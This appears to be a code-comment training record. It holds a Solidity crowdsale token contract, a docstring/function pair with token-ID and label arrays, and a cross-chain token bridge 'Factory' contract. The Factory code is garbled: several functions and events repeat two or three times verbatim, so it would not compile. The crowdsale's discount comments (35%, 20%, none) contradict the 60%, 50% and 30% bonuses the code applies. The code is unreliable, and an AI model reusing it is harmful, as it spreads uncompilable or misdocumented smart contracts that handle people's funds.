function startSale(uint256 _saleStartDate, uint256 _saleEndDate, uint256 _newETH_USD) public onlyOwner{
require (_saleStartDate < _saleEndDate);
require (now <= _saleStartDate);
assert(!start);
saleStartDate = _saleStartDate;
saleEndDate = _saleEndDate;
start = true;
ETH_USD = _newETH_USD;
}
//function to finalize sale
function finalizeSale() public onlyOwner{
assert(start);
//end sale only when tokens is not sold and sale time is over OR,
//end time is not over and all tokens are sold
assert(!(tokensSold < hardCap && now < saleEndDate) || (hardCap.sub(tokensSold) <= 1e18));
if(!softCapReached()){
refundStatus = true;
}
start = false;
stop = true;
}
/**
* @dev called by the owner to stopInEmergency , triggers stopped state
*/
function stopInEmergency() onlyOwner public {
require(!paused);
paused = true;
emit StateChanged(true);
}
/**
* @dev after stopping crowdsale, the contract owner can release the crowdsale
*
*/
function release() onlyOwner public {
require(paused);
paused = false;
emit StateChanged(true);
}
//function to set ETH_USD rate in cent. Eg: 1 ETH = 300 USD so we need to pass 300,00 cents
function setETH_USDRate(uint256 _newETH_USD) public onlyOwner {
require(_newETH_USD > 0);
ETH_USD = _newETH_USD;
}
//function to change token cost
function changeTokenCost(uint256 _tokenCost) public onlyOwner {
require(_tokenCost > 0);
tokenCost = _tokenCost;
}
//funcion to change minContribution
//_minContribution parameter should be in cent
function changeMinContribution(uint256 _minContribution) public onlyOwner {
require(_minContribution > 0);
minContribution = _minContribution;
}
//function to increase time
function extendTime(uint256 _newEndSaleDate) onlyOwner public {
//current time should always be less than endTime+extendedTime
require(saleEndDate < _newEndSaleDate);
require(_newEndSaleDate != 0);
saleEndDate = _newEndSaleDate;
emit NewSaleEndDate(saleEndDate);
}
// function to add single whitelist
function addWhitelistAddress(address addr) public onlyOwner{
require (!whitelist[addr]);
require(addr != address(0x0));
// owner approves buyers by address when they pass the whitelisting procedure
whitelist[addr] = true;
}
/**
* @dev add addresses to the whitelist
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addWhitelistAddresses(address[] _addrs) public onlyOwner{
for (uint256 i = 0; i < _addrs.length; i++) {
addWhitelistAddress(_addrs[i]);
}
}
function transfer(address to, uint256 value) public returns (bool){
if(isinvestor[msg.sender]){
//sale has ended
require(stop);
super.transfer(to, value);
}
else if(isTeamOrAdvisorsOrFounder[msg.sender]){
//180 days = 6 months
require(now > saleEndDate.add(180 days));
super.transfer(to, value);
}
else {
super.transfer(to, value);
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool){
if(isinvestor[from]){
//sale has ended
require(stop);
super.transferFrom(from, to, value);
}
else if(isTeamOrAdvisorsOrFounder[from]){
//180 days = 6 months
require(now > saleEndDate.add(180 days));
super.transferFrom(from,to, value);
}
else {
super.transferFrom(from, to, value);
}
}
//function to buy tokens
function buyTokens (address beneficiary) public payable respectTimeFrame {
// only approved buyers can call this function
require(whitelist[beneficiary]);
// No contributions below the minimum
require(msg.value >= getMinContributionInWei());
uint256 tokenToTransfer = getTokens(msg.value);
// Check if the CrowdSale hard cap will be exceeded
require(tokensSold.add(tokenToTransfer) <= hardCap);
tokensSold = tokensSold.add(tokenToTransfer);
//initializing structure for the address of the beneficiary
Investor storage investorStruct = investors[beneficiary];
//Update investor's balance
investorStruct.tokenSent = investorStruct.tokenSent.add(tokenToTransfer);
investorStruct.weiReceived = investorStruct.weiReceived.add(msg.value);
//If it is a new investor, then create a new id
if(investorStruct.investorID == 0){
countTotalInvestors++;
investorStruct.investorID = countTotalInvestors;
investorList[countTotalInvestors] = beneficiary;
}
isinvestor[beneficiary] = true;
ETHCollector.transfer(msg.value);
weiCollected = weiCollected.add(msg.value);
balances[owner] = balances[owner].sub(tokenToTransfer);
balances[beneficiary] = balances[beneficiary].add(tokenToTransfer);
emit TokenSupplied(beneficiary, tokenToTransfer, msg.value);
}
/**
* @dev payable function to accept ether.
*
*/
function () external payable {
buyTokens(msg.sender);
}
/*
* Refund the investors in case target of crowdsale not achieved
*/
function refund() public onlyOwner {
assert(refundStatus);
uint256 batchSize = countInvestorsRefunded.add(50) < countTotalInvestors ? countInvestorsRefunded.add(50): countTotalInvestors;
for(uint256 i = countInvestorsRefunded.add(1); i <= batchSize; i++){
address investorAddress = investorList[i];
Investor storage investorStruct = investors[investorAddress];
//return everything
investorAddress.transfer(investorStruct.weiReceived);
//burn investor tokens and total supply isTeamOrAdvisorsOrFounder
burn(investorAddress, investorStruct.tokenSent);
//set everything to zero after transfer successful
investorStruct.weiReceived = 0;
investorStruct.tokenSent = 0;
}
//Update the number of investors that have recieved refund
countInvestorsRefunded = batchSize;
}
/*
* Failsafe drain
*/
function drain() public onlyOwner {
ETHCollector.transfer(address(this).balance);
}
/*
* Function to add Ether in the contract
*/
function fundContractForRefund()public payable{
}
/**
*
*getter functions
*
*
*/
//function to return the number of tokens sent to investor
function getTokens(uint256 weiReceived) internal view returns(uint256){
uint256 tokens;
//Token Sale Stage 1 = Dates Start 10/15/18 End 10/31/18 35% discount
if(now >= saleStartDate && now <= saleStartDate.add(10 days)){
tokens = getTokensForWeiReceived(weiReceived);
tokens = tokens.mul(100 + 60) / 100;
//Token Sale Stage 2 = Dates Start 11/1/18 End 11/15/18 20% discount
}else if (now > saleStartDate.add(10 days) && now <= saleStartDate.add(25 days)){
tokens = getTokensForWeiReceived(weiReceived);
tokens = tokens.mul(100 + 50) / 100;
//Token Sale Stage 3 = Dates Start 11/16/18 End 11/30/18 No discount
}else if (now > saleStartDate.add(25 days) && now <= saleEndDate){
tokens = getTokensForWeiReceived(weiReceived);
tokens = tokens.mul(100 + 30) / 100;
}
return tokens;
}
//function to get tokens number for eth send
function getTokensForWeiReceived(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(ETH_USD).div(tokenCost);
}
//function to check softcap reached or not
function softCapReached() view public returns(bool) {
return tokensSold >= softCap;
}
//getSaleStage will return current sale stage
function getSaleStage() view public returns(uint8){
if(now >= saleStartDate && now <= saleStartDate.add(10 days)){
return 1;
}else if(now > saleStartDate.add(10 days) && now <= saleStartDate.add(25 days)){
return 2;
}else if (now > saleStartDate.add(25 days) && now <= saleEndDate){
return 3;
}
}
//get minimum contribution in wei
function getMinContributionInWei() public view returns(uint256){
return (minContribution.mul(1e18)).div(ETH_USD);
}
//is address whitelisted
function isAddressWhitelisted(address addr) public view returns(bool){
return whitelist[addr];
}
} | is address whitelisted | function isAddressWhitelisted(address addr) public view returns(bool){
return whitelist[addr];
}
| 5,475,604 | [
1,
291,
1758,
26944,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
353,
1887,
18927,
329,
12,
2867,
3091,
13,
1071,
1476,
1135,
12,
6430,
15329,
203,
3639,
327,
10734,
63,
4793,
15533,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xd95212B72E3919d3A48e1Ca44E4233d12591BBE6/sources/localhost/antimatter/BridgeFactory.sol | only on ethereum mainnet | contract Factory is ContextUpgradeSafe, Configurable, Constants {
using SafeERC20 for IERC20;
using SafeMath for uint;
string public name;
bytes32 public constant REGISTER_TYPEHASH = keccak256("RegisterMapping(uint256 mainChainId,address token,uint[] chainIds,address[] mappingTokenMappeds,address signatory)");
bytes32 public constant CREATE_TYPEHASH = keccak256("CreateMappingToken(address creator,uint256 mainChainId,address token,string name,string symbol,uint8 decimals,uint256 cap,address signatory)");
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public DOMAIN_SEPARATOR;
mapping (bytes32 => address) public productImplementations;
mapping (address => bool) public authorties;
uint[] public supportChainIds;
string[] public certifiedSymbols;
function __MappingTokenFactory_init(address _governor, address _implTokenMapped, address _implMappableToken, address _implMappingToken, address _feeTo,string memory _name) external initializer {
__Governable_init_unchained(_governor);
__MappingTokenFactory_init_unchained(_name,_implTokenMapped, _implMappableToken, _implMappingToken, _feeTo);
}
function __MappingTokenFactory_init_unchained(string memory _name,address _implTokenMapped, address _implMappableToken, address _implMappingToken, address _feeTo) public governance {
config[_fee_] = 0.005 ether;
config[_feeTo_] = uint(_feeTo);
config[_minSignatures_] = 1;
config[_uniswapRounter_] = uint(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
name = _name;
DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), _chainId(), address(this)));
upgradeProductImplementationsTo_(_implTokenMapped, _implMappableToken, _implMappingToken);
}
function upgradeProductImplementationsTo_(address _implTokenMapped, address _implMappableToken, address _implMappingToken) public governance {
productImplementations[_TokenMapped_] = _implTokenMapped;
productImplementations[_MappableToken_] = _implMappableToken;
productImplementations[_MappingToken_] = _implMappingToken;
}
function setAuthorty_(address authorty, bool enable) virtual external governance {
authorties[authorty] = enable;
emit SetAuthorty(authorty, enable);
}
event SetAuthorty(address indexed authorty, bool indexed enable);
modifier onlyAuthorty {
require(authorties[_msgSender()], 'only authorty');
_;
}
function increaseAuthQuotas(address mappingTokenMapped, address[] memory signatorys, uint[] memory increments) virtual external onlyAuthorty returns (uint[] memory quotas) {
quotas = MappingBase(mappingTokenMapped).increaseAuthQuotas(signatorys, increments);
for(uint i=0; i<signatorys.length; i++)
emit IncreaseAuthQuota(_msgSender(), mappingTokenMapped, signatorys[i], increments[i], quotas[i]);
}
function increaseAuthQuota(address mappingTokenMapped, address signatory, uint increment) virtual external onlyAuthorty returns (uint quota) {
quota = MappingBase(mappingTokenMapped).increaseAuthQuota(signatory, increment);
emit IncreaseAuthQuota(_msgSender(), mappingTokenMapped, signatory, increment, quota);
}
event IncreaseAuthQuota(address indexed authorty, address indexed mappingTokenMapped, address indexed signatory, uint increment, uint quota);
function decreaseAuthQuotas(address mappingTokenMapped, address[] memory signatorys, uint[] memory decrements) virtual external onlyAuthorty returns (uint[] memory quotas) {
quotas = MappingBase(mappingTokenMapped).decreaseAuthQuotas(signatorys, decrements);
for(uint i=0; i<signatorys.length; i++)
emit DecreaseAuthQuota(_msgSender(), mappingTokenMapped, signatorys[i], decrements[i], quotas[i]);
}
function decreaseAuthQuota(address mappingTokenMapped, address signatory, uint decrement) virtual external onlyAuthorty returns (uint quota) {
quota = MappingBase(mappingTokenMapped).decreaseAuthQuota(signatory, decrement);
emit DecreaseAuthQuota(_msgSender(), mappingTokenMapped, signatory, decrement, quota);
}
event DecreaseAuthQuota(address indexed authorty, address indexed mappingTokenMapped, address indexed signatory, uint decrement, uint quota);
function increaseAuthCount(address[] memory signatorys, uint[] memory increments) virtual external returns (uint[] memory counts) {
require(signatorys.length == increments.length, 'two array lenth not equal');
counts = new uint[](signatorys.length);
for(uint i=0; i<signatorys.length; i++)
counts[i] = increaseAuthCount(signatorys[i], increments[i]);
}
function increaseAuthCount(address signatory, uint increment) virtual public onlyAuthorty returns (uint count) {
count = authCountOf[signatory].add(increment);
authCountOf[signatory] = count;
emit IncreaseAuthQuota(_msgSender(), signatory, increment, count);
}
event IncreaseAuthQuota(address indexed authorty, address indexed signatory, uint increment, uint quota);
function decreaseAuthCounts(address[] memory signatorys, uint[] memory decrements) virtual external returns (uint[] memory counts) {
require(signatorys.length == decrements.length, 'two array lenth not equal');
counts = new uint[](signatorys.length);
for(uint i=0; i<signatorys.length; i++)
counts[i] = decreaseAuthCount(signatorys[i], decrements[i]);
}
function decreaseAuthCount(address signatory, uint decrement) virtual public onlyAuthorty returns (uint count) {
count = authCountOf[signatory];
if(count < decrement)
decrement = count;
return _decreaseAuthCount(signatory, decrement);
}
function _decreaseAuthCount(address signatory, uint decrement) virtual internal returns (uint count) {
count = authCountOf[signatory].sub(decrement);
authCountOf[signatory] = count;
emit DecreaseAuthCount(_msgSender(), signatory, decrement, count);
}
event DecreaseAuthCount(address indexed authorty, address indexed signatory, uint decrement, uint count);
function supportChainCount() public view returns (uint) {
return supportChainIds.length;
}
function mainChainIdTokens(address mappingToken) virtual public view returns(uint mainChainId, address token) {
uint256 chainIdToken = _mainChainIdTokens[mappingToken];
mainChainId = chainIdToken >> 160;
token = address(chainIdToken);
}
function chainIdMappingTokenMappeds(address tokenOrMappingToken) virtual external view returns (uint[] memory chainIds, address[] memory mappingTokenMappeds_) {
(, address token) = mainChainIdTokens(tokenOrMappingToken);
if(token == address(0))
token = tokenOrMappingToken;
uint N = 0;
for(uint i=0; i<supportChainCount(); i++)
if(mappingTokenMappeds[token][supportChainIds[i]] != address(0))
N++;
chainIds = new uint[](N);
mappingTokenMappeds_ = new address[](N);
uint j = 0;
for(uint i=0; i<supportChainCount(); i++) {
uint chainId = supportChainIds[i];
address mappingTokenMapped = mappingTokenMappeds[token][chainId];
if(mappingTokenMapped != address(0)) {
chainIds[j] = chainId;
mappingTokenMappeds_[j] = mappingTokenMapped;
j++;
}
}
}
function chainIdMappingTokenMappeds(address tokenOrMappingToken) virtual external view returns (uint[] memory chainIds, address[] memory mappingTokenMappeds_) {
(, address token) = mainChainIdTokens(tokenOrMappingToken);
if(token == address(0))
token = tokenOrMappingToken;
uint N = 0;
for(uint i=0; i<supportChainCount(); i++)
if(mappingTokenMappeds[token][supportChainIds[i]] != address(0))
N++;
chainIds = new uint[](N);
mappingTokenMappeds_ = new address[](N);
uint j = 0;
for(uint i=0; i<supportChainCount(); i++) {
uint chainId = supportChainIds[i];
address mappingTokenMapped = mappingTokenMappeds[token][chainId];
if(mappingTokenMapped != address(0)) {
chainIds[j] = chainId;
mappingTokenMappeds_[j] = mappingTokenMapped;
j++;
}
}
}
function chainIdMappingTokenMappeds(address tokenOrMappingToken) virtual external view returns (uint[] memory chainIds, address[] memory mappingTokenMappeds_) {
(, address token) = mainChainIdTokens(tokenOrMappingToken);
if(token == address(0))
token = tokenOrMappingToken;
uint N = 0;
for(uint i=0; i<supportChainCount(); i++)
if(mappingTokenMappeds[token][supportChainIds[i]] != address(0))
N++;
chainIds = new uint[](N);
mappingTokenMappeds_ = new address[](N);
uint j = 0;
for(uint i=0; i<supportChainCount(); i++) {
uint chainId = supportChainIds[i];
address mappingTokenMapped = mappingTokenMappeds[token][chainId];
if(mappingTokenMapped != address(0)) {
chainIds[j] = chainId;
mappingTokenMappeds_[j] = mappingTokenMapped;
j++;
}
}
}
function isSupportChainId(uint chainId) virtual public view returns (bool) {
for(uint i=0; i<supportChainCount(); i++)
if(supportChainIds[i] == chainId)
return true;
return false;
}
function registerSupportChainId_(uint chainId_) virtual external governance {
require(_chainId() == 1 || _chainId() == 3, 'called only on ethereum mainnet');
require(!isSupportChainId(chainId_), 'support chainId already');
supportChainIds.push(chainId_);
}
function _registerMapping(uint mainChainId, address token, uint[] memory chainIds, address[] memory mappingTokenMappeds_) virtual internal {
require(chainIds.length == mappingTokenMappeds_.length, 'two array lenth not equal');
require(isSupportChainId(mainChainId), 'Not support mainChainId');
for(uint i=0; i<chainIds.length; i++) {
_mainChainIdTokens[mappingTokenMappeds_[i]] = (mainChainId << 160) | uint(token);
mappingTokenMappeds[token][chainIds[i]] = mappingTokenMappeds_[i];
emit RegisterMapping(mainChainId, token, chainIds[i], mappingTokenMappeds_[i]);
}
}
event RegisterMapping(uint mainChainId, address token, uint chainId, address mappingTokenMapped);
function _registerMapping(uint mainChainId, address token, uint[] memory chainIds, address[] memory mappingTokenMappeds_) virtual internal {
require(chainIds.length == mappingTokenMappeds_.length, 'two array lenth not equal');
require(isSupportChainId(mainChainId), 'Not support mainChainId');
for(uint i=0; i<chainIds.length; i++) {
_mainChainIdTokens[mappingTokenMappeds_[i]] = (mainChainId << 160) | uint(token);
mappingTokenMappeds[token][chainIds[i]] = mappingTokenMappeds_[i];
emit RegisterMapping(mainChainId, token, chainIds[i], mappingTokenMappeds_[i]);
}
}
event RegisterMapping(uint mainChainId, address token, uint chainId, address mappingTokenMapped);
function registerMapping_(uint mainChainId, address token, uint[] memory chainIds, address[] memory mappingTokenMappeds_) virtual external governance {
_registerMapping(mainChainId, token, chainIds, mappingTokenMappeds_);
}
function registerMapping(uint mainChainId, address token, uint[] memory chainIds, address[] memory mappingTokenMappeds_, Signature[] memory signatures) virtual external payable {
_chargeFee();
uint N = signatures.length;
require(N >= getConfig(_minSignatures_), 'too few signatures');
for(uint i=0; i<N; i++) {
for(uint j=0; j<i; j++)
require(signatures[i].signatory != signatures[j].signatory, 'repetitive signatory');
bytes32 structHash = keccak256(abi.encode(REGISTER_TYPEHASH, mainChainId, token, keccak256(abi.encodePacked(chainIds)),keccak256(abi.encodePacked(mappingTokenMappeds_)),signatures[i].signatory));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash));
address signatory = ecrecover(digest, signatures[i].v, signatures[i].r, signatures[i].s);
require(signatory != address(0), "invalid signature");
require(signatory == signatures[i].signatory, "unauthorized");
_decreaseAuthCount(signatures[i].signatory, 1);
emit AuthorizeRegister(mainChainId, token, signatory);
}
_registerMapping(mainChainId, token, chainIds, mappingTokenMappeds_);
}
event AuthorizeRegister(uint indexed mainChainId, address indexed token, address indexed signatory);
function registerMapping(uint mainChainId, address token, uint[] memory chainIds, address[] memory mappingTokenMappeds_, Signature[] memory signatures) virtual external payable {
_chargeFee();
uint N = signatures.length;
require(N >= getConfig(_minSignatures_), 'too few signatures');
for(uint i=0; i<N; i++) {
for(uint j=0; j<i; j++)
require(signatures[i].signatory != signatures[j].signatory, 'repetitive signatory');
bytes32 structHash = keccak256(abi.encode(REGISTER_TYPEHASH, mainChainId, token, keccak256(abi.encodePacked(chainIds)),keccak256(abi.encodePacked(mappingTokenMappeds_)),signatures[i].signatory));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash));
address signatory = ecrecover(digest, signatures[i].v, signatures[i].r, signatures[i].s);
require(signatory != address(0), "invalid signature");
require(signatory == signatures[i].signatory, "unauthorized");
_decreaseAuthCount(signatures[i].signatory, 1);
emit AuthorizeRegister(mainChainId, token, signatory);
}
_registerMapping(mainChainId, token, chainIds, mappingTokenMappeds_);
}
event AuthorizeRegister(uint indexed mainChainId, address indexed token, address indexed signatory);
function certifiedCount() external view returns (uint) {
return certifiedSymbols.length;
}
function certifiedTokens(string memory symbol) public view returns (uint mainChainId, address token) {
uint256 chainIdToken = _certifiedTokens[symbol];
mainChainId = chainIdToken >> 160;
token = address(chainIdToken);
}
function allCertifiedTokens() external view returns (string[] memory symbols, uint[] memory chainIds, address[] memory tokens) {
symbols = certifiedSymbols;
uint N = certifiedSymbols.length;
chainIds = new uint[](N);
tokens = new address[](N);
for(uint i=0; i<N; i++)
(chainIds[i], tokens[i]) = certifiedTokens(certifiedSymbols[i]);
}
function registerCertified_(string memory symbol, uint mainChainId, address token) external governance {
require(isSupportChainId(mainChainId), 'Not support mainChainId');
require(_certifiedTokens[symbol] == 0, 'Certified added already');
if(mainChainId == _chainId())
require(keccak256(bytes(symbol)) == keccak256(bytes(ERC20UpgradeSafe(token).symbol())), 'symbol different');
_certifiedTokens[symbol] = (mainChainId << 160) | uint(token);
certifiedSymbols.push(symbol);
emit RegisterCertified(symbol, mainChainId, token);
}
event RegisterCertified(string indexed symbol, uint indexed mainChainId, address indexed token);
function createTokenMapped(address token) external payable returns (address tokenMapped) {
_chargeFee();
require(tokenMappeds[token] == address(0), 'TokenMapped created already');
bytes32 salt = keccak256(abi.encodePacked(_chainId(), token));
bytes memory bytecode = type(InitializableProductProxy).creationCode;
assembly {
tokenMapped := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(tokenMapped)).__InitializableProductProxy_init(address(this), _TokenMapped_, abi.encodeWithSignature('__TokenMapped_init(address,address)', address(this), token));
tokenMappeds[token] = tokenMapped;
emit CreateTokenMapped(_msgSender(), token, tokenMapped);
}
event CreateTokenMapped(address indexed creator, address indexed token, address indexed tokenMapped);
function createTokenMapped(address token) external payable returns (address tokenMapped) {
_chargeFee();
require(tokenMappeds[token] == address(0), 'TokenMapped created already');
bytes32 salt = keccak256(abi.encodePacked(_chainId(), token));
bytes memory bytecode = type(InitializableProductProxy).creationCode;
assembly {
tokenMapped := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(tokenMapped)).__InitializableProductProxy_init(address(this), _TokenMapped_, abi.encodeWithSignature('__TokenMapped_init(address,address)', address(this), token));
tokenMappeds[token] = tokenMapped;
emit CreateTokenMapped(_msgSender(), token, tokenMapped);
}
event CreateTokenMapped(address indexed creator, address indexed token, address indexed tokenMapped);
function createMappableToken(string memory name, string memory symbol, uint8 decimals, uint totalSupply) external payable returns (address mappableToken) {
_chargeFee();
require(mappableTokens[_msgSender()] == address(0), 'MappableToken created already');
bytes32 salt = keccak256(abi.encodePacked(_chainId(), _msgSender()));
bytes memory bytecode = type(InitializableProductProxy).creationCode;
assembly {
mappableToken := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(mappableToken)).__InitializableProductProxy_init(address(this), _MappableToken_, abi.encodeWithSignature('__MappableToken_init(address,address,string,string,uint8,uint256)', address(this), _msgSender(), name, symbol, decimals, totalSupply));
mappableTokens[_msgSender()] = mappableToken;
emit CreateMappableToken(_msgSender(), name, symbol, decimals, totalSupply, mappableToken);
}
event CreateMappableToken(address indexed creator, string name, string symbol, uint8 decimals, uint totalSupply, address indexed mappableToken);
function createMappableToken(string memory name, string memory symbol, uint8 decimals, uint totalSupply) external payable returns (address mappableToken) {
_chargeFee();
require(mappableTokens[_msgSender()] == address(0), 'MappableToken created already');
bytes32 salt = keccak256(abi.encodePacked(_chainId(), _msgSender()));
bytes memory bytecode = type(InitializableProductProxy).creationCode;
assembly {
mappableToken := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(mappableToken)).__InitializableProductProxy_init(address(this), _MappableToken_, abi.encodeWithSignature('__MappableToken_init(address,address,string,string,uint8,uint256)', address(this), _msgSender(), name, symbol, decimals, totalSupply));
mappableTokens[_msgSender()] = mappableToken;
emit CreateMappableToken(_msgSender(), name, symbol, decimals, totalSupply, mappableToken);
}
event CreateMappableToken(address indexed creator, string name, string symbol, uint8 decimals, uint totalSupply, address indexed mappableToken);
function _createMappingToken(uint mainChainId, address token, address creator, string memory name, string memory symbol, uint8 decimals, uint cap) internal returns (address mappingToken) {
_chargeFee();
address tokenOrCreator = (token == address(0)) ? creator : token;
require(mappingTokens[mainChainId][tokenOrCreator] == address(0), 'MappingToken created already');
bytes32 salt = keccak256(abi.encodePacked(mainChainId, tokenOrCreator));
bytes memory bytecode = type(InitializableProductProxy).creationCode;
assembly {
mappingToken := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(mappingToken)).__InitializableProductProxy_init(address(this), _MappingToken_, abi.encodeWithSignature('__MappingToken_init(address,uint256,address,address,string,string,uint8,uint256)', address(this), mainChainId, token, creator, name, symbol, decimals, cap));
mappingTokens[mainChainId][tokenOrCreator] = mappingToken;
emit CreateMappingToken(mainChainId, token, creator, name, symbol, decimals, cap, mappingToken);
}
event CreateMappingToken(uint mainChainId, address indexed token, address indexed creator, string name, string symbol, uint8 decimals, uint cap, address indexed mappingToken);
function _createMappingToken(uint mainChainId, address token, address creator, string memory name, string memory symbol, uint8 decimals, uint cap) internal returns (address mappingToken) {
_chargeFee();
address tokenOrCreator = (token == address(0)) ? creator : token;
require(mappingTokens[mainChainId][tokenOrCreator] == address(0), 'MappingToken created already');
bytes32 salt = keccak256(abi.encodePacked(mainChainId, tokenOrCreator));
bytes memory bytecode = type(InitializableProductProxy).creationCode;
assembly {
mappingToken := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
InitializableProductProxy(payable(mappingToken)).__InitializableProductProxy_init(address(this), _MappingToken_, abi.encodeWithSignature('__MappingToken_init(address,uint256,address,address,string,string,uint8,uint256)', address(this), mainChainId, token, creator, name, symbol, decimals, cap));
mappingTokens[mainChainId][tokenOrCreator] = mappingToken;
emit CreateMappingToken(mainChainId, token, creator, name, symbol, decimals, cap, mappingToken);
}
event CreateMappingToken(uint mainChainId, address indexed token, address indexed creator, string name, string symbol, uint8 decimals, uint cap, address indexed mappingToken);
function createMappingToken_(uint mainChainId, address token, address creator, string memory name, string memory symbol, uint8 decimals, uint cap) public payable governance returns (address mappingToken) {
return _createMappingToken(mainChainId, token, creator, name, symbol, decimals, cap);
}
function createMappingToken(uint mainChainId, address token, string memory name, string memory symbol, uint8 decimals, uint cap, Signature[] memory signatures) public payable returns (address mappingToken) {
uint N = signatures.length;
require(N >= getConfig(_minSignatures_), 'too few signatures');
for(uint i=0; i<N; i++) {
for(uint j=0; j<i; j++)
require(signatures[i].signatory != signatures[j].signatory, 'repetitive signatory');
bytes32 hash = keccak256(abi.encode(CREATE_TYPEHASH, _msgSender(), mainChainId, token, name, symbol, decimals, cap, signatures[i].signatory));
hash = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash));
address signatory = ecrecover(hash, signatures[i].v, signatures[i].r, signatures[i].s);
require(signatory != address(0), "invalid signature");
require(signatory == signatures[i].signatory, "unauthorized");
_decreaseAuthCount(signatures[i].signatory, 1);
emit AuthorizeCreate(mainChainId, token, _msgSender(), name, symbol, decimals, cap, signatory);
}
return _createMappingToken(mainChainId, token, _msgSender(), name, symbol, decimals, cap);
}
event AuthorizeCreate(uint mainChainId, address indexed token, address indexed creator, string name, string symbol, uint8 decimals, uint cap, address indexed signatory);
function createMappingToken(uint mainChainId, address token, string memory name, string memory symbol, uint8 decimals, uint cap, Signature[] memory signatures) public payable returns (address mappingToken) {
uint N = signatures.length;
require(N >= getConfig(_minSignatures_), 'too few signatures');
for(uint i=0; i<N; i++) {
for(uint j=0; j<i; j++)
require(signatures[i].signatory != signatures[j].signatory, 'repetitive signatory');
bytes32 hash = keccak256(abi.encode(CREATE_TYPEHASH, _msgSender(), mainChainId, token, name, symbol, decimals, cap, signatures[i].signatory));
hash = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash));
address signatory = ecrecover(hash, signatures[i].v, signatures[i].r, signatures[i].s);
require(signatory != address(0), "invalid signature");
require(signatory == signatures[i].signatory, "unauthorized");
_decreaseAuthCount(signatures[i].signatory, 1);
emit AuthorizeCreate(mainChainId, token, _msgSender(), name, symbol, decimals, cap, signatory);
}
